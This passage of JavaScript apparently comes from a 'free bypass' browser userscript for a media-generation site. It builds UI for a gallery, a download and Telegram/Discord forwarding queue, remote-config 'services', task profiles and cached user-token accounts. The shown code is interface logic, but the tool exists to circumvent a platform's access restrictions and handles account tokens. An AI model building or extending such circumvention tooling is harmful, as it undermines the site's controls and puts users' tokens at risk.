const badge = document.createElement('div');
badge.style.cssText = 'position: absolute; top: 8px; right: 8px; background: #6366f1; color: white; padding: 4px 8px; border-radius: 4px; font-size: 11px; font-weight: 600;';
badge.textContent = item.type;
galleryItem.appendChild(badge);
const statusIcons = renderStatusIcons(item.id);
if (statusIcons) {
const statusBadge = document.createElement('div');
statusBadge.style.cssText = 'position: absolute; bottom: 8px; right: 8px; background: rgba(0,0,0,0.6); color: white; padding: 4px 6px; border-radius: 6px; font-size: 11px; display: flex; gap: 6px; align-items: center;';
statusBadge.setAttribute('data-bypass-gallery-status', item.id);
statusBadge.innerHTML = statusIcons;
galleryItem.appendChild(statusBadge);
}
if (settings.showBypassedLink) {
const urlLabel = document.createElement('div');
urlLabel.style.cssText = 'position:absolute;bottom:8px;left:8px;max-width:70%;background:rgba(0,0,0,0.62);color:#cbd5e1;padding:4px 6px;border-radius:6px;font-size:10px;font-family:Courier New, monospace;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;';
urlLabel.textContent = 'Resolving...';
galleryItem.appendChild(urlLabel);
(async () => {
const url = await getPreviewUrlForItem(item);
if (!urlLabel.isConnected) return;
if (!url) {
urlLabel.textContent = 'Unavailable';
return;
}
urlLabel.innerHTML = `<a href="${escapeHtml(url)}" target="_blank" rel="noopener noreferrer" style="color:#93c5fd;text-decoration:none;">${escapeHtml(url)}</a>`;
})().catch(() => {
if (urlLabel.isConnected) urlLabel.textContent = 'Unavailable';
});
}
galleryItem.onclick = async () => {
if (selectedItems.size > 0) {
toggleItemSelected(item.id);
refreshSelectionUI();
return;
}
if (isVideo && !settings.showVideoModal) {
await downloadMediaById(item.id, item.mimeType);
return;
}
const url = await getPreviewUrlForItem(item);
if (!url) return;
openImageModal(url, item.taskId, item.createdAt, item.expiresAt, [], item.id, item.mimeType);
};
galleryItem.onmouseover = () => galleryItem.style.borderColor = '#6366f1';
galleryItem.onmouseout = () => galleryItem.style.borderColor = '#475569';
galleryItem.addEventListener('contextmenu', (e) => {
e.preventDefault();
showItemContextMenu(e.clientX, e.clientY, item);
});
(gridHost || listHost).appendChild(galleryItem);
};
const renderChunk = () => {
if (loadingChunk) return;
loadingChunk = true;
const next = displayedItems.slice(renderedCount, renderedCount + (renderedCount === 0 ? INITIAL_BATCH : BATCH_SIZE));
if (!next.length) {
loadInfo.textContent = `Loaded all ${displayedItems.length} item(s).`;
loadingChunk = false;
return;
}
next.forEach(item => {
if (settings.viewMode === 'gallery') {
appendGalleryItem(item);
} else {
listHost.appendChild(createItemCard(item, { allowPreview: true }));
}
});
renderedCount += next.length;
loadInfo.textContent = renderedCount < displayedItems.length
? `Loaded ${renderedCount}/${displayedItems.length}. Scroll to load more...`
: `Loaded all ${displayedItems.length} item(s).`;
loadingChunk = false;
};
const maybeLoadMore = () => {
if (previewBatchController.waitingForScroll) {
previewBatchController.advance();
}
if (renderedCount >= displayedItems.length || loadingChunk) return;
const threshold = 220;
const nearBottom = content.scrollTop + content.clientHeight >= content.scrollHeight - threshold;
if (nearBottom) renderChunk();
};
renderChunk();
content.addEventListener('scroll', maybeLoadMore, { passive: true });
}
if (currentTab === 'home') {
content.setAttribute('data-bypass-tab', 'home');
content.setAttribute('data-bypass-items-key', itemsKey);
tabContentCache.set('home', content);
}
}
} else if (currentTab === 'tasks') {
const cache = loadTaskActions();
const actions = cache.items;
const stats = getTaskActionStats();
if (stats.total) {
const progressWrap = document.createElement('div');
progressWrap.style.cssText = 'padding: 8px 10px; border: 1px solid rgba(148,163,184,0.25); border-radius: 10px; background: rgba(15,23,42,0.35);';
const progressText = document.createElement('div');
progressText.setAttribute('data-bypass-tasks-progress-text', 'true');
progressText.style.cssText = 'font-size: 11px; color: #94a3b8; margin-bottom: 6px;';
const completed = stats.done + stats.failed;
if (stats.current) {
progressText.textContent = `Processing ${stats.current.action.toUpperCase()} • ${stats.current.imageId} (${completed}/${stats.total})`;
} else {
progressText.textContent = `Queued ${stats.queued} • Done ${stats.done} • Failed ${stats.failed}`;
}
const progressBar = document.createElement('div');
progressBar.style.cssText = 'height: 6px; background: rgba(148,163,184,0.25); border-radius: 999px; overflow: hidden;';
const progressFill = document.createElement('div');
progressFill.setAttribute('data-bypass-tasks-progress-bar', 'true');
progressFill.style.cssText = `height: 100%; width: ${stats.total ? Math.round((completed / stats.total) * 100) : 0}%; background: linear-gradient(135deg, #6366f1, #8b5cf6);`;
progressBar.appendChild(progressFill);
progressWrap.appendChild(progressText);
progressWrap.appendChild(progressBar);
const previewHost = document.createElement('div');
previewHost.setAttribute('data-bypass-tasks-progress-preview', 'true');
progressWrap.appendChild(previewHost);
if (settings.showDownloadPreview && stats.current && ['download', 'telegram', 'discord'].includes(stats.current.action)) {
const previewRow = document.createElement('div');
previewRow.className = 'bypass-download-preview';
previewRow.style.marginTop = '10px';
const mediaWrap = document.createElement('div');
mediaWrap.className = 'bypass-download-preview-media';
mediaWrap.textContent = 'Loading...';
const info = document.createElement('div');
info.style.cssText = 'display:flex; flex-direction:column; gap:4px; font-size:11px; color:#94a3b8;';
const actionLabel = stats.current.action === 'telegram'
? 'Sending to Telegram'
: stats.current.action === 'discord'
? 'Sending to Discord'
: 'Downloading';
info.innerHTML = `<div><strong style="color:#cbd5e1;">${actionLabel}</strong></div><div>ID: ${stats.current.imageId}</div>`;
previewRow.appendChild(mediaWrap);
previewRow.appendChild(info);
previewHost.appendChild(previewRow);
const currentId = stats.current.imageId;
if (downloadPreviewCache.imageId === currentId && downloadPreviewCache.url) {
mediaWrap.innerHTML = '';
if (stats.current.mimeType?.startsWith('video/')) {
const vid = document.createElement('video');
vid.src = downloadPreviewCache.url;
vid.muted = true;
vid.autoplay = true;
vid.loop = true;
vid.playsInline = true;
mediaWrap.appendChild(vid);
} else {
const img = document.createElement('img');
img.src = downloadPreviewCache.url;
mediaWrap.appendChild(img);
}
} else {
downloadPreviewCache = { imageId: currentId, url: null, mimeType: stats.current.mimeType || '' };
ensureDownloadUrl(currentId, stats.current.mimeType || '').then(url => {
if (downloadPreviewCache.imageId !== currentId) return;
downloadPreviewCache.url = url;
mediaWrap.innerHTML = '';
if (!url) {
mediaWrap.textContent = 'Preview unavailable';
return;
}
if (stats.current.mimeType?.startsWith('video/')) {
const vid = document.createElement('video');
vid.src = url;
vid.muted = true;
vid.autoplay = true;
vid.loop = true;
vid.playsInline = true;
mediaWrap.appendChild(vid);
} else {
const img = document.createElement('img');
img.src = url;
mediaWrap.appendChild(img);
}
});
}
}
content.appendChild(progressWrap);
}
const headerRow = document.createElement('div');
headerRow.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:12px;';
const title = document.createElement('div');
title.style.cssText = 'font-weight:600; font-size:13px;';
title.textContent = 'Task Actions Queue';
const controls = document.createElement('div');
controls.style.cssText = 'display:flex; gap:8px; align-items:center;';
const queueFilterKeys = {
query: 'freeBypassTaskQueueQuery',
status: 'freeBypassTaskQueueStatus',
action: 'freeBypassTaskQueueAction'
};
const queueFilters = {
query: localStorage.getItem(queueFilterKeys.query) || '',
status: localStorage.getItem(queueFilterKeys.status) || 'all',
action: localStorage.getItem(queueFilterKeys.action) || 'all'
};
const pauseBtn = document.createElement('button');
pauseBtn.className = 'bypass-btn bypass-btn-secondary';
pauseBtn.style.width = 'auto';
pauseBtn.textContent = cache.paused ? 'Resume All' : 'Pause All';
pauseBtn.onclick = () => {
cache.paused = !cache.paused;
saveTaskActions();
if (!cache.paused) processTaskActionQueue();
updateUI();
};
const clearBtn = document.createElement('button');
clearBtn.className = 'bypass-btn bypass-btn-danger';
clearBtn.style.width = 'auto';
clearBtn.textContent = 'Clear All';
clearBtn.onclick = () => {
cache.items = [];
saveTaskActions();
updateUI();
};
const retryFailedBtn = document.createElement('button');
retryFailedBtn.className = 'bypass-btn bypass-btn-secondary';
retryFailedBtn.style.width = 'auto';
retryFailedBtn.textContent = 'Retry Failed';
retryFailedBtn.onclick = () => {
let changed = 0;
cache.items.forEach(entry => {
if (entry.status === 'failed') {
entry.status = 'queued';
entry.error = null;
entry.attempts = 0;
entry.nextRunAt = null;
entry.sentMode = null;
entry.updatedAt = Date.now();
changed += 1;
}
});
saveTaskActions();
if (changed) {
processTaskActionQueue();
updateUI();
}
};
const clearDoneBtn = document.createElement('button');
clearDoneBtn.className = 'bypass-btn bypass-btn-secondary';
clearDoneBtn.style.width = 'auto';
clearDoneBtn.textContent = 'Clear Done';
clearDoneBtn.onclick = () => {
cache.items = cache.items.filter(entry => entry.status !== 'done');
saveTaskActions();
updateUI();
};
const clearFailedBtn = document.createElement('button');
clearFailedBtn.className = 'bypass-btn bypass-btn-secondary';
clearFailedBtn.style.width = 'auto';
clearFailedBtn.textContent = 'Clear Failed';
clearFailedBtn.onclick = () => {
cache.items = cache.items.filter(entry => entry.status !== 'failed');
saveTaskActions();
updateUI();
};
controls.appendChild(retryFailedBtn);
controls.appendChild(clearDoneBtn);
controls.appendChild(clearFailedBtn);
controls.appendChild(pauseBtn);
controls.appendChild(clearBtn);
headerRow.appendChild(title);
headerRow.appendChild(controls);
content.appendChild(headerRow);
// Filters row (search + status/action)
const filterRow = document.createElement('div');
filterRow.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; align-items:center; padding:10px 12px; margin-top:10px; border:1px solid rgba(148,163,184,0.25); border-radius:10px; background: rgba(15,23,42,0.25);';
const queryInput = document.createElement('input');
queryInput.type = 'text';
queryInput.placeholder = 'Search by ID, task ID, status, action, MIME…';
queryInput.value = queueFilters.query;
queryInput.style.cssText = 'flex:1; min-width:220px; padding:8px 10px; border-radius:8px; border:1px solid rgba(148,163,184,0.35); background: rgba(15,23,42,0.45); color:#e2e8f0; font-size:12px;';
const statusSelect = document.createElement('select');
statusSelect.style.cssText = 'padding:8px 10px; border-radius:8px; border:1px solid rgba(148,163,184,0.35); background: rgba(15,23,42,0.45); color:#e2e8f0; font-size:12px;';
;[
{ v: 'all', t: 'All statuses' },
{ v: 'queued', t: 'Queued' },
{ v: 'in-progress', t: 'In progress' },
{ v: 'done', t: 'Done' },
{ v: 'failed', t: 'Failed' }
].forEach(opt => {
const o = document.createElement('option');
o.value = opt.v;
o.textContent = opt.t;
if (queueFilters.status === opt.v) o.selected = true;
statusSelect.appendChild(o);
});
const actionSelect = document.createElement('select');
actionSelect.style.cssText = 'padding:8px 10px; border-radius:8px; border:1px solid rgba(148,163,184,0.35); background: rgba(15,23,42,0.45); color:#e2e8f0; font-size:12px;';
;[
{ v: 'all', t: 'All actions' },
{ v: 'download', t: 'Download' },
{ v: 'telegram', t: 'Telegram' },
{ v: 'discord', t: 'Discord' }
].forEach(opt => {
const o = document.createElement('option');
o.value = opt.v;
o.textContent = opt.t;
if (queueFilters.action === opt.v) o.selected = true;
actionSelect.appendChild(o);
});
const resetFiltersBtn = document.createElement('button');
resetFiltersBtn.className = 'bypass-btn bypass-btn-secondary';
resetFiltersBtn.style.width = 'auto';
resetFiltersBtn.textContent = 'Reset';
const showingLabel = document.createElement('div');
showingLabel.style.cssText = 'margin-left:auto; font-size:11px; color:#94a3b8;';
showingLabel.textContent = '';
filterRow.appendChild(queryInput);
filterRow.appendChild(statusSelect);
filterRow.appendChild(actionSelect);
filterRow.appendChild(resetFiltersBtn);
filterRow.appendChild(showingLabel);
content.appendChild(filterRow);
if (!actions.length) {
const empty = document.createElement('div');
empty.style.cssText = 'padding: 20px; font-size: 12px; color: #94a3b8;';
empty.textContent = 'No queued or completed actions yet.';
content.appendChild(empty);
} else {
const applyQueueFilters = () => {
const q = (queueFilters.query || '').trim().toLowerCase();
const rows = Array.from(content.querySelectorAll('[data-bypass-task-row]'));
let shown = 0;
rows.forEach(row => {
const rowStatus = row.dataset.status || '';
const rowAction = row.dataset.action || '';
const rowId = row.dataset.imageId || '';
const rowTaskId = row.dataset.taskId || '';
const rowMime = row.dataset.mimeType || '';
const rowAttempts = row.dataset.attempts || '';
const rowNextRunAt = row.dataset.nextRunAt || '';
const haystack = `${rowAction} ${rowStatus} ${rowId} ${rowTaskId} ${rowMime} ${rowAttempts} ${rowNextRunAt}`.toLowerCase();
const statusOk = queueFilters.status === 'all' ? true : rowStatus === queueFilters.status;
const actionOk = queueFilters.action === 'all' ? true : rowAction === queueFilters.action;
const queryOk = !q ? true : haystack.includes(q);
const visible = statusOk && actionOk && queryOk;
row.style.display = visible ? 'flex' : 'none';
if (visible) shown += 1;
});
showingLabel.textContent = `Showing ${shown}/${rows.length}`;
};
actions.forEach((entry, index) => {
const row = document.createElement('div');
row.setAttribute('data-bypass-task-row', `${entry.action}:${entry.imageId}`);
row.dataset.action = String(entry.action || '');
row.dataset.status = String(entry.status || '');
row.dataset.imageId = String(entry.imageId || '');
row.dataset.taskId = String(entry.taskId || '');
row.dataset.mimeType = String(entry.mimeType || '');
row.dataset.attempts = String(entry.attempts || '0');
row.dataset.nextRunAt = String(entry.nextRunAt || '');
row.style.cssText = 'padding: 10px 12px; border: 1px solid rgba(148,163,184,0.25); border-radius: 8px; display:flex; flex-direction:column; gap:6px;';
row.setAttribute('draggable', 'true');
row.dataset.index = String(index);
if (entry.status === 'failed') {
row.style.borderColor = '#ef4444';
row.style.background = 'rgba(239, 68, 68, 0.08)';
}
const top = document.createElement('div');
top.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:8px;';
const waitMs = entry.status === 'queued' && entry.nextRunAt ? (Number(entry.nextRunAt) - Date.now()) : 0;
const statusLabel = entry.status === 'queued' && waitMs > 0
? `queued (waiting ${formatShortDuration(waitMs)})`
: String(entry.status || '');
top.innerHTML = `
<div style="font-size:12px; font-weight:600;">${entry.action.toUpperCase()} • ${entry.imageId}</div>
<div style="font-size:11px; color:#94a3b8;" data-bypass-task-status>${escapeHtml(statusLabel)}</div>
`;
const meta = document.createElement('div');
meta.style.cssText = 'font-size:11px; color:#94a3b8;';
const attempt = Number(entry.attempts) || 0;
const maxRetries = clampNumber(settings.queueMaxRetries, 0, 25, 2);
const sentMode = entry.sentMode ? ` • Mode: ${escapeHtml(String(entry.sentMode))}` : '';
const mimeLabel = entry.mimeType ? ` • ${escapeHtml(String(entry.mimeType))}` : '';
const retryLabel = maxRetries > 0 ? ` • Attempts: ${attempt}/${maxRetries}` : '';
meta.innerHTML = `<div>Task: ${escapeHtml(entry.taskId || 'N/A')}${mimeLabel}${retryLabel}${sentMode}</div>`;
const errorLine = document.createElement('div');
errorLine.setAttribute('data-bypass-task-error', 'true');
errorLine.style.cssText = 'font-size:11px; color:#ef4444;';
if (entry.status === 'failed' && entry.error) {
errorLine.textContent = `Error: ${entry.error}`;
} else {
errorLine.style.display = 'none';
}
meta.appendChild(errorLine);
const buttons = document.createElement('div');
buttons.style.cssText = 'display:flex; gap:6px; align-items:center; flex-wrap:wrap;';
const retryBtn = document.createElement('button');
retryBtn.className = 'bypass-btn bypass-btn-secondary';
retryBtn.style.width = 'auto';
retryBtn.style.padding = '6px 10px';
retryBtn.textContent = 'Retry';
retryBtn.onclick = () => {
entry.status = 'queued';
entry.error = null;
entry.attempts = 0;
entry.nextRunAt = null;
entry.sentMode = null;
saveTaskActions();
processTaskActionQueue();
updateUI();
};
const deleteBtn = document.createElement('button');
deleteBtn.className = 'bypass-btn bypass-btn-danger';
deleteBtn.style.width = 'auto';
deleteBtn.style.padding = '6px 10px';
deleteBtn.textContent = 'Delete';
deleteBtn.onclick = () => {
cache.items.splice(index, 1);
saveTaskActions();
updateUI();
};
const upBtn = document.createElement('button');
upBtn.className = 'bypass-btn bypass-btn-secondary';
upBtn.style.width = 'auto';
upBtn.style.padding = '6px 10px';
upBtn.textContent = '↑';
upBtn.onclick = () => {
if (index === 0) return;
[cache.items[index - 1], cache.items[index]] = [cache.items[index], cache.items[index - 1]];
saveTaskActions();
updateUI();
};
const downBtn = document.createElement('button');
downBtn.className = 'bypass-btn bypass-btn-secondary';
downBtn.style.width = 'auto';
downBtn.style.padding = '6px 10px';
downBtn.textContent = '↓';
downBtn.onclick = () => {
if (index === cache.items.length - 1) return;
[cache.items[index + 1], cache.items[index]] = [cache.items[index], cache.items[index + 1]];
saveTaskActions();
updateUI();
};
const openUrlBtn = document.createElement('button');
openUrlBtn.className = 'bypass-btn bypass-btn-secondary';
openUrlBtn.style.width = 'auto';
openUrlBtn.style.padding = '6px 10px';
openUrlBtn.textContent = 'Open';
openUrlBtn.onclick = async () => {
try {
openUrlBtn.disabled = true;
const url = await ensureDownloadUrl(entry.imageId, entry.mimeType || '');
if (!url) {
showToast('No URL available yet for this item', 'warning');
return;
}
window.open(url, '_blank');
} catch (err) {
showToast(`Failed to resolve URL: ${err.message}`, 'error');
} finally {
openUrlBtn.disabled = false;
}
};
const copyUrlBtn = document.createElement('button');
copyUrlBtn.className = 'bypass-btn bypass-btn-secondary';
copyUrlBtn.style.width = 'auto';
copyUrlBtn.style.padding = '6px 10px';
copyUrlBtn.textContent = 'Copy URL';
copyUrlBtn.onclick = async () => {
try {
copyUrlBtn.disabled = true;
const url = await ensureDownloadUrl(entry.imageId, entry.mimeType || '');
if (!url) {
showToast('No URL available yet for this item', 'warning');
return;
}
if (navigator.clipboard?.writeText) {
await navigator.clipboard.writeText(url);
}
showToast('Copied bypass URL', 'success');
} catch (err) {
showToast(`Copy failed: ${err.message}`, 'error');
} finally {
copyUrlBtn.disabled = false;
}
};
buttons.appendChild(upBtn);
buttons.appendChild(downBtn);
buttons.appendChild(retryBtn);
buttons.appendChild(deleteBtn);
buttons.appendChild(openUrlBtn);
buttons.appendChild(copyUrlBtn);
row.appendChild(top);
row.appendChild(meta);
row.appendChild(buttons);
content.appendChild(row);
row.addEventListener('dragstart', (e) => {
e.dataTransfer.setData('text/plain', row.dataset.index || '');
row.style.opacity = '0.6';
});
row.addEventListener('dragend', () => {
row.style.opacity = '1';
});
row.addEventListener('dragover', (e) => {
e.preventDefault();
row.style.borderColor = '#6366f1';
});
row.addEventListener('dragleave', () => {
row.style.borderColor = 'rgba(148,163,184,0.25)';
});
row.addEventListener('drop', (e) => {
e.preventDefault();
row.style.borderColor = 'rgba(148,163,184,0.25)';
const fromIndex = Number(e.dataTransfer.getData('text/plain'));
const toIndex = Number(row.dataset.index);
if (Number.isNaN(fromIndex) || Number.isNaN(toIndex) || fromIndex === toIndex) return;
const moved = cache.items.splice(fromIndex, 1)[0];
cache.items.splice(toIndex, 0, moved);
saveTaskActions();
updateUI();
});
});
const persistFilters = () => {
localStorage.setItem(queueFilterKeys.query, queueFilters.query);
localStorage.setItem(queueFilterKeys.status, queueFilters.status);
localStorage.setItem(queueFilterKeys.action, queueFilters.action);
};
queryInput.addEventListener('input', () => {
queueFilters.query = queryInput.value;
persistFilters();
applyQueueFilters();
});
statusSelect.addEventListener('change', () => {
queueFilters.status = statusSelect.value;
persistFilters();
applyQueueFilters();
});
actionSelect.addEventListener('change', () => {
queueFilters.action = actionSelect.value;
persistFilters();
applyQueueFilters();
});
resetFiltersBtn.onclick = () => {
queueFilters.query = '';
queueFilters.status = 'all';
queueFilters.action = 'all';
queryInput.value = '';
statusSelect.value = 'all';
actionSelect.value = 'all';
persistFilters();
applyQueueFilters();
};
applyQueueFilters();
}
} else if (currentTab === 'services') {
const colors = getThemeColors();
const services = getEnabledRemoteServices(remoteConfig);
const state = loadServicesState();
const headerCard = document.createElement('div');
headerCard.className = 'bypass-services-header';
const updates = services.filter(s => getServiceUpdateState(s).updateAvailable).length;
headerCard.innerHTML = `
<div style="display:flex; flex-direction:column; gap:4px; min-width:220px;">
<div style="font-weight:900; color:${colors.text};"><i class=\"fas fa-grid-2\" style=\"color:${colors.primary};\"></i> Services</div>
<div style="font-size:11px; color:${colors.textSecondary}; line-height:1.5;">Remote-config apps & scripts. Installed status is tracked locally in your browser.</div>
</div>
<div style="display:flex; gap:10px; align-items:center; flex-wrap:wrap;">
<span class="bypass-chip">Enabled: ${escapeHtml(String(services.length))}</span>
${updates ? `<span class=\"bypass-chip bypass-chip-warn\">Updates: ${escapeHtml(String(updates))}</span>` : `<span class=\"bypass-chip bypass-chip-success\">All up to date</span>`}
<button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 10px; font-size:11px;" data-bypass-services-clear>
<i class="fas fa-eraser"></i> Clear local state
</button>
</div>
`;
headerCard.querySelector('[data-bypass-services-clear]').onclick = () => {
showConfirmDialog('Clear ALL Services local state? (This only affects browser tracking, not your system.)', () => {
servicesStateCache = { v: 1, updatedAt: Date.now(), items: {} };
saveServicesState();
showToast('Services local state cleared', 'success');
updateUI();
});
};
content.appendChild(headerCard);
const filters = document.createElement('div');
filters.style.cssText = `display:flex; gap:10px; align-items:center; flex-wrap:wrap; padding: 12px 14px; border-radius: 14px; border: 1px solid ${colors.border}; background: ${colors.bgSecondary};`;
const qKey = 'freeBypassServicesQuery';
const statusKey = 'freeBypassServicesStatusFilter';
const query = localStorage.getItem(qKey) || '';
const statusFilter = localStorage.getItem(statusKey) || 'all';
const search = document.createElement('input');
search.type = 'text';
search.placeholder = 'Search services by name/type/version...';
search.value = query;
search.style.cssText = `flex:1; min-width:220px; padding:10px 12px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px;`;
const status = document.createElement('select');
status.style.cssText = `padding:10px 12px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px;`;
;[
{ v: 'all', t: 'All' },
{ v: 'installed', t: 'Installed' },
{ v: 'not-installed', t: 'Not installed' },
{ v: 'updates', t: 'Updates available' },
{ v: 'required', t: 'Update required' }
].forEach(opt => {
const o = document.createElement('option');
o.value = opt.v;
o.textContent = opt.t;
if (statusFilter === opt.v) o.selected = true;
status.appendChild(o);
});
const reset = document.createElement('button');
reset.className = 'bypass-btn bypass-btn-secondary';
reset.style.cssText = 'width:auto; padding:10px 12px; font-size:12px;';
reset.innerHTML = '<i class="fas fa-rotate-left"></i> Reset';
filters.appendChild(search);
filters.appendChild(status);
filters.appendChild(reset);
content.appendChild(filters);
const grid = document.createElement('div');
grid.className = 'bypass-services-grid';
content.appendChild(grid);
const render = () => {
const q = (search.value || '').trim().toLowerCase();
const f = status.value;
localStorage.setItem(qKey, search.value || '');
localStorage.setItem(statusKey, status.value || 'all');
const filtered = services.filter(svc => {
const upd = getServiceUpdateState(svc);
if (f === 'installed' && !upd.installed) return false;
if (f === 'not-installed' && upd.installed) return false;
if (f === 'updates' && !upd.updateAvailable) return false;
if (f === 'required' && !upd.updateRequired) return false;
if (!q) return true;
const hay = `${svc.title} ${svc.type} ${svc.version} ${svc.id}`.toLowerCase();
return hay.includes(q);
});
grid.innerHTML = '';
if (!filtered.length) {
const empty = document.createElement('div');
empty.style.cssText = `grid-column: 1 / -1; padding: 18px; border-radius: 14px; border: 1px dashed ${colors.border}; background: rgba(15,23,42,0.22); color:${colors.textSecondary}; text-align:center; font-size:12px;`;
empty.innerHTML = '<i class="fas fa-inbox"></i> No services match your filters.';
grid.appendChild(empty);
return;
}
filtered.forEach(svc => {
const upd = getServiceUpdateState(svc);
const typeLabel = svc.type === 'script' ? 'Script' : 'App';
const vLabel = svc.version ? `v${svc.version}` : 'v?';
const statusChip = upd.updateRequired
? '<span class="bypass-chip bypass-chip-danger">Update required</span>'
: upd.updateAvailable
? '<span class="bypass-chip bypass-chip-warn">Update available</span>'
: upd.installed
? '<span class="bypass-chip bypass-chip-success">Installed</span>'
: '<span class="bypass-chip">Not installed</span>';
const card = document.createElement('div');
card.className = 'bypass-service-card';
card.setAttribute('role', 'button');
card.setAttribute('tabindex', '0');
const logoHtml = (svc.logo_url && isProbablySafeHttpUrl(svc.logo_url))
? `<img src="${escapeHtml(svc.logo_url)}" alt="${escapeHtml(svc.title)}" loading="lazy" referrerpolicy="no-referrer" />`
: '<i class="fas fa-cube"></i>';
card.innerHTML = `
<div class="bypass-service-card-top">
<div class="bypass-service-logo">${logoHtml}</div>
<div style="min-width:0; flex:1;">
<div class="bypass-service-title">${escapeHtml(svc.title)}</div>
<div class="bypass-service-meta">
<span class="bypass-chip">${escapeHtml(typeLabel)}</span>
<span class="bypass-chip">${escapeHtml(vLabel)}</span>
${statusChip}
</div>
</div>
<div style="color:${colors.textSecondary}; font-size:16px; padding-top:2px;"><i class="fas fa-chevron-right"></i></div>
</div>
`;
const open = () => showServiceDetailsDialog(svc);
card.onclick = open;
card.onkeydown = (e) => {
if (e.key === 'Enter' || e.key === ' ') {
e.preventDefault();
open();
}
};
// Fallback logo if <img> fails
const img = card.querySelector('img');
if (img) {
img.onerror = () => {
const logo = card.querySelector('.bypass-service-logo');
if (logo) logo.innerHTML = '<i class="fas fa-cube"></i>';
};
}
grid.appendChild(card);
});
};
search.addEventListener('input', () => render());
status.addEventListener('change', () => render());
reset.onclick = () => {
search.value = '';
status.value = 'all';
localStorage.setItem(qKey, '');
localStorage.setItem(statusKey, 'all');
render();
};
render();
} else if (currentTab === 'profiles') {
// Task Profiles tab
const colors = getThemeColors();
const profilesContent = document.createElement('div');
profilesContent.style.cssText = 'display: flex; flex-direction: column; gap: 12px; padding: 0;';
const taskProfiles = getTaskProfiles();
const profileNames = Object.keys(taskProfiles);
// Add new profile button
const addProfileBtn = document.createElement('button');
addProfileBtn.className = 'bypass-btn bypass-btn-primary';
addProfileBtn.style.cssText = 'width: 100%; padding: 10px; font-size: 13px; font-weight: 600;';
addProfileBtn.innerHTML = '<i class="fas fa-plus"></i> Create New Profile';
addProfileBtn.onclick = () => {
showProfileNameDialog((name) => {
if (!name) return;
if (createTaskProfile(name)) {
updateUI();
}
});
};
profilesContent.appendChild(addProfileBtn);
if (profileNames.length === 0) {
// Empty state
const emptyState = document.createElement('div');
emptyState.style.cssText = 'padding: 40px 20px; text-align: center; color: #94a3b8; background: rgba(15, 23, 42, 0.5); border-radius: 8px; border: 1px dashed rgba(99, 102, 241, 0.3);';
emptyState.innerHTML = `
<i class="fas fa-layer-group" style="font-size: 40px; opacity: 0.4; display: block; margin-bottom: 12px;"></i>
<p style="margin: 0 0 8px 0; font-weight: 500;">No Task Profiles Yet</p>
<p style="font-size: 11px; margin: 0; opacity: 0.8;">Create a profile to organize and categorize bypassed tasks. Click "Create New Profile" above to get started.</p>
`;
profilesContent.appendChild(emptyState);
} else {
// Profile list
const profilesList = document.createElement('div');
profilesList.style.cssText = 'display: flex; flex-direction: column; gap: 8px;';
profileNames.forEach(profileName => {
const profile = taskProfiles[profileName];
const taskCount = profile.tasks ? profile.tasks.length : 0;
const profileCard = document.createElement('div');
profileCard.style.cssText = `
padding: 12px;
background: ${colors.bgSecondary};
border: 1px solid ${colors.border};
border-radius: 8px;
cursor: pointer;
transition: all 0.2s;
`;
profileCard.addEventListener('mouseenter', () => {
profileCard.style.borderColor = '#6366f1';
profileCard.style.background = 'rgba(99, 102, 241, 0.1)';
});
profileCard.addEventListener('mouseleave', () => {
profileCard.style.borderColor = colors.border;
profileCard.style.background = colors.bgSecondary;
});
const profileHeader = document.createElement('div');
profileHeader.style.cssText = 'display: flex; justify-content: space-between; align-items: center; margin-bottom: 8px;';
const profileNameEl = document.createElement('div');
profileNameEl.style.cssText = 'font-weight: 600; font-size: 13px; color: #f1f5f9;';
profileNameEl.textContent = profileName;
const taskCountBadge = document.createElement('span');
taskCountBadge.style.cssText = 'background: rgba(99, 102, 241, 0.3); color: #cbd5e1; padding: 2px 8px; border-radius: 999px; font-size: 11px; font-weight: 600;';
taskCountBadge.textContent = `${taskCount} task${taskCount !== 1 ? 's' : ''}`;
profileHeader.appendChild(profileNameEl);
profileHeader.appendChild(taskCountBadge);
profileCard.appendChild(profileHeader);
// Profile actions
const actionsRow = document.createElement('div');
actionsRow.style.cssText = 'display: flex; gap: 6px;';
const viewBtn = document.createElement('button');
viewBtn.className = 'bypass-btn bypass-btn-secondary';
viewBtn.style.cssText = 'flex: 1; padding: 6px 10px; font-size: 11px;';
viewBtn.innerHTML = '<i class="fas fa-eye"></i> View';
viewBtn.onclick = (e) => {
e.stopPropagation();
showProfileFullscreenDialog(profileName);
};
const deleteBtn = document.createElement('button');
deleteBtn.className = 'bypass-btn';
deleteBtn.style.cssText = 'flex: 1; padding: 6px 10px; font-size: 11px; background: rgba(239, 68, 68, 0.2); color: #fca5a5; border: 1px solid rgba(239, 68, 68, 0.5);';
deleteBtn.innerHTML = '<i class="fas fa-trash"></i> Delete';
deleteBtn.onclick = (e) => {
e.stopPropagation();
showConfirmDialog(`Delete profile "${profileName}" and all its tasks?`, () => {
deleteTaskProfile(profileName);
updateUI();
});
};
actionsRow.appendChild(viewBtn);
actionsRow.appendChild(deleteBtn);
profileCard.appendChild(actionsRow);
profilesList.appendChild(profileCard);
});
profilesContent.appendChild(profilesList);
}
content.appendChild(profilesContent);
} else if (currentTab === 'accounts') {
// Accounts tab - show all cached user accounts with enhanced UI
const accountsContent = document.createElement('div');
accountsContent.style.cssText = 'display: flex; flex-direction: column; gap: 12px;';
const allAccounts = getAllCachedAccounts();
if (allAccounts.length === 0) {
const empty = document.createElement('div');
empty.style.cssText = 'padding: 40px 20px; text-align: center; color: #94a3b8;';
empty.innerHTML = '<i class="fas fa-inbox" style="font-size: 32px; opacity: 0.5; display: block; margin-bottom: 12px;"></i><p>No cached accounts found</p><p style="font-size: 11px; margin-top: 8px;">Accounts will be cached as you log in with different user tokens.</p>';
const detectBtn = document.createElement('button');
detectBtn.className = 'bypass-btn bypass-btn-primary';
detectBtn.style.cssText = 'margin-top: 16px; width: auto; padding: 10px 16px; font-size: 12px;';
detectBtn.innerHTML = '<i class="fas fa-fingerprint"></i> Detect account';
detectBtn.onclick = async () => {
try {
detectBtn.disabled = true;
detectBtn.innerHTML = '<i class="fas fa-spinner fa-spin"></i> Detecting...';
const result = await detectCurrentTensorAccount();
if (result?.detected) {
showToast(`Detected ${result.nickname}`, 'success');
